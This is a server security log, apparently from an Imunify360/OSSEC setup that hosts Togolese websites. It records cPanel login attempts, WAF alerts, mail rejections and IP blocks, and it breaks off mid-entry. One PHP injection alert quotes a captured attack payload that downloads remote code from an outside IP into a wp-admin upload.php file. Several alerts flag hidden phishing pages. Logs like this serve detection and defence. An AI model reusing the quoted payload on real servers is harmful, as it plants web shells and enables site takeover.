country_id: 3686110
description:
[2026-06-08 12:45:22 +0000] info [cpaneld] 38.9.221.246 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.106.118.91
country_id: 1819730
description:
27.106.118.91 - - [08/Jun/2026:12:46:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130843&pdata=https%253A%252F%252Fcivilemagazine.tg%252Feducation-les-inscriptions-au-bepc-et-bac-1-se-font-desormais-en-ligne%252F%253Famp%253D1&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780922778 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/education-les-inscriptions-au-bepc-et-bac-1-se-font-desormais-en-ligne/?amp=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.106.118.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.175.4.179
country_id: 2077456
description:
[2026-06-08 12:47:33 +0000] info [cpaneld] 110.175.4.179 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.253.117.252
country_id: 2017370
description:
[2026-06-08 12:47:36 +0000] info [cpaneld] 94.253.117.252 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.177.221.229
country_id: 290557
description:
[2026-06-08 12:47:52 +0000] info [cpaneld] 109.177.221.229 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.232.221.131
country_id: 3469034
description:
[2026-06-08 12:47:45 +0000] info [cpaneld] 181.232.221.131 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f81df10d91722e170722d459c459a0653f285dd5||Title:bursliyuvf5jotfv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.111.201
country_id: 290557
description:
[2026-06-08 12:47:54 +0000] info [cpaneld] 5.107.111.201 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [08/Jun/2026:12:49:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212007&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fun-pretre-demissionne-par-amour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780922959 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/un-pretre-demissionne-par-amour/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.73.25
country_id: 1512440
description:
2026-06-08 12:49:38 H=([84.54.73.25]) [84.54.73.25]:21526 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [08/Jun/2026:12:49:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989789&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flunion-africaine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780922964 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/lunion-africaine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a0dfaf7f47e23d186f08600e9ab5b719c7f61cee||Title:057pi6iko4u267v||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [08/Jun/2026:12:50:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054545&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fun-pretre-demissionne-par-amour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780923016 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/un-pretre-demissionne-par-amour/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 146.255.74.154
country_id: 718075
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 146.255.74.154
country_id: 718075
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dafd379e9b788ee5158b0a0366c1cd49c809dd0f||Title:7z7j1a92vqmmzb||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f696d7ca8b033e3ff92b6eda2d970811ae5cc56||Title:yjbfe91ctooe5ixn||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140880
name: IM360 WAF: Infectors: PHP Injection Attack
abuser: 41.62.133.58
country_id: 2464461
domain: ns5.netmaster.tg
description:
IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:$x=fwrite(fopen($_server['document_root'].'/wp-admin/css/colors/blue/upload.php','w+'),file_get_contents('http://192.184.90.216/vz.txt'));echo \"nemesis\".$x;||RSV:8.15||T:APACHE||SC:/var/www/html/wp-admin||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 41.62.133.58
country_id: 2464461
domain: ns5.netmaster.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.15||T:APACHE||SC:/var/www/html/wp-admin||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c3492947d59c7fa96731da58a610333c864bd625||Title:gk74ycxrnkguphzzxe||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-08 12:52:17 +0000] info [whostmgrd] 104.28.192.94 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-08 12:52:19 +0000] info [whostmgrd] 104.28.192.94 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.28.240
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160508||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d6632deeff0d1d259ba99abafdad9ae11aa1b35d||Title:6hwwdp04hkk39v2m5||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb7e5a6b8abbe72d03e35da1158a6c791a0cb505||Title:msb3rayqk24c6uht9||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 119.12.169.169
country_id: 1819730
description:
119.12.169.169 - - [08/Jun/2026:12:55:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868696&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Ftag%252F2021%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780923329 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/tag/2021/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:119.12.169.169


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 93.110.3.239
country_id: 130758
description:
2026-06-08 12:55:05 H=([93.110.3.239]) [93.110.3.239]:64806 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a6b61cf6151edeef512da1d01f8a965e19795479||Title:yokvjrkx7yqu2rjsi||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:778a2b92478979a58796450866beeb47fe7cd6b7||Title:eujuu19hpyfqs2||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.111.64.201
country_id: 2589581
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/le-3e-forum-de-la-cedeao-sur-leducation-a-la-culture-de-la-paix-ouvert-a-lome/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:04adb3f3138fe68df106cd92c6973e3188cff610||Title:l5pq3x5k6ksq8grsc||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.111.64.201
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/le-3e-forum-de-la-cedeao-sur-leducation-a-la-culture-de-la-paix-ouvert-a-lome/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b9a8188ecc85e868a7daa51b2fcd0ea9479b90c9||Title:1yznhvly11j921fd||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:417b2f145f5f43117d4b0a1fae1a81fc47e0f052||Title:b2k2604xzdrezv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.72.24.250
country_id: 51537
description:
Jun  8 12:59:07 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.72.24.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c229b7b6df1566f6006816161873b9ffbba66cf6||Title:tt40f2ex3eyi1sfv||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.183.32.90
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f5daeae44bbf0f83b42c65beafff53b67fd7815||Title:cc8dh1lf5pvev5q2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.70.179.177
country_id: 1814991
description:
2026-06-08 13:02:33 H=([39.70.179.177]) [39.70.179.177]:40632 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 13:02:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:60579: 535 Incorrect authentication data (set_id=mailroom)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:13-03.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.165.215.140
country_id: 6252001
domain: sia-togo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Earn Your Plus Tier Cash eropolik.blogspot.ru 4Q||Email:mizamphoetra@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 92.63.204.18
country_id: 1512440
description:
2026-06-08 13:05:25 H=([185.139.137.127]) [92.63.204.18]:7019 F=<John@4452.com> rejected RCPT <waphf@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/8zZXZnzBQTc[/embed]||WPU:direct7tv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.184
country_id: 1269750
description:
Jun  8 13:06:47 ns5 auth[827347]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.184
country_id: 1269750
description:
2026-06-08 13:06:49 dovecot_login authenticator failed for H=(nsg-corporate-184.230.187.122.airtel.in) [122.187.230.184]:38832: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.169.98
country_id: 2363686
description:
[2026-06-08 13:06:01 +0000] info [cpaneld] 102.64.169.98 NEW uljcqiuy:6vtTNcAf3I9V4n6h address=102.64.169.98,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:NpOZniyGbB2XOtL2:create_user_session,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.81.229.161
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/33.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.212.94.19
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160504||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.77.146.194
country_id: 718075
description:
2026-06-08 13:08:08 dovecot_plain authenticator failed for H=(ickt38786lag2uyyd9pejlre) [80.77.146.194]:51548: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.138.16.178
country_id: 798544
description:
[2026-06-08 13:13:16 +0000] info [cpaneld] 45.138.16.178 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 13:13:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:62979: 535 Incorrect authentication data (set_id=nginx)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 13:13:36 ns5 auth[827347]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.114
country_id: 2635167
description:
[2026-06-08 13:14:48 +0000] info [cpaneld] 5.230.133.114 NEW ohuuvcqw:dEBQjkTp17NJtJ5b address=5.230.133.114,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.89
country_id: 2635167
description:
[2026-06-08 13:14:49 +0000] info [cpaneld] 5.230.133.89 NEW ohuuvcqw:VlGmPLReLAiUUSbp address=5.230.133.89,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.52
country_id: 2635167
description:
[2026-06-08 13:14:50 +0000] info [cpaneld] 5.230.153.52 NEW njdbfcnn:bt9Eu8hbQ7nt8tEA address=5.230.153.52,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 45.58.50.47
country_id: 6252001
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.655939260060304.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.178
country_id: 6252001
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.238672195850697.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.227
country_id: 2635167
description:
[2026-06-08 13:14:53 +0000] info [cpaneld] 5.230.153.227 NEW vuvwskxh:mEGbehagmLVFheI5 address=5.230.153.227,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.58.50.47
country_id: 6252001
description:
[2026-06-08 13:15:07 +0000] info [cpaneld] 45.58.50.47 NEW mipbtgnb:irTvs4ZppnntFAbk address=45.58.50.47,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.138.55.234
country_id: 1819730
description:
159.138.55.234 - - [08/Jun/2026:13:15:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919877&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F11%252F28%252Factualites-internationales-robert-dussey-au-forum-de-lalliance-des-civilisations-le-togo-lance-une-initiative-pour-la-paix-mondiale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780924508 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/11/28/actualites-internationales-robert-dussey-au-forum-de-lalliance-des-civilisations-le-togo-lance-une-initiative-pour-la-paix-mondiale/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.138.55.234


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.67
country_id: 6252001
description:
[2026-06-08 13:15:10 +0000] info [cpaneld] 107.175.5.67 NEW dvhzmira:xAsvIraQxAu4O8VL address=107.175.5.67,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.166.47
country_id: 1819730
description:
[2026-06-08 13:16:33 +0000] info [cpaneld] 104.28.166.47 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.138.16.178
country_id: 798544
description:
[2026-06-08 13:17:37 +0000] info [cpaneld] 45.138.16.178 - contactmairieaneho "GET /json-api/cpanel?cpanel_jsonapi_user=contactmairieaneho&cpanel_jsonapi_apiversion=2&cpanel_jsonapi_module=Version&cpanel_jsonapi_func=version HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.223
country_id: 1512440
description:
2026-06-08 13:18:24 H=([84.54.70.223]) [84.54.70.223]:10474 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.121.3
country_id: 1880251
description:
43.163.121.3 - - [08/Jun/2026:13:19:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711451&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-assemblee-generale-coda-microfinance-sur-une-pente-ascendante-apres-les-exercices-2019-2020-et-2021%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780924739 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-assemblee-generale-coda-microfinance-sur-une-pente-ascendante-apres-les-exercices-2019-2020-et-2021/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.121.3


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.78.185.196
country_id: 174982
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/route-nationale-n1-un-accident-fait-dix-morts/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.78.185.196
country_id: 174982
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/route-nationale-n1-un-accident-fait-dix-morts/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.253
country_id: 2635167
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.016912215632505.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.233
country_id: 2635167
description:
[2026-06-08 13:22:07 +0000] info [cpaneld] 5.230.133.233 NEW mgvybwur:uG7mnl7IEzIWcxUf address=5.230.133.233,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.187.115.179
country_id: 597427
domain: cfpj.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:193.187.115.179||TA:193.187.115.179||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.207
country_id: 6252001
description:
[2026-06-08 13:22:43 +0000] info [cpaneld] 134.195.83.207 NEW nerohostfreenetm:SlnFoqXkpRl7SZAd address=134.195.83.207,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 13:25:45 ns5 auth[827347]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 13:25:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:54157: 535 Incorrect authentication data (set_id=nginx)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.6.138
country_id: 1643084
description:
140.213.6.138 - - [08/Jun/2026:13:27:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182701&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fcommuniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780925235 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/communiques/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.6.138


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.116
country_id: 1512440
description:
2026-06-08 13:27:18 H=([213.230.87.116]) [213.230.87.116]:30475 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: modsec
rule: 77433250
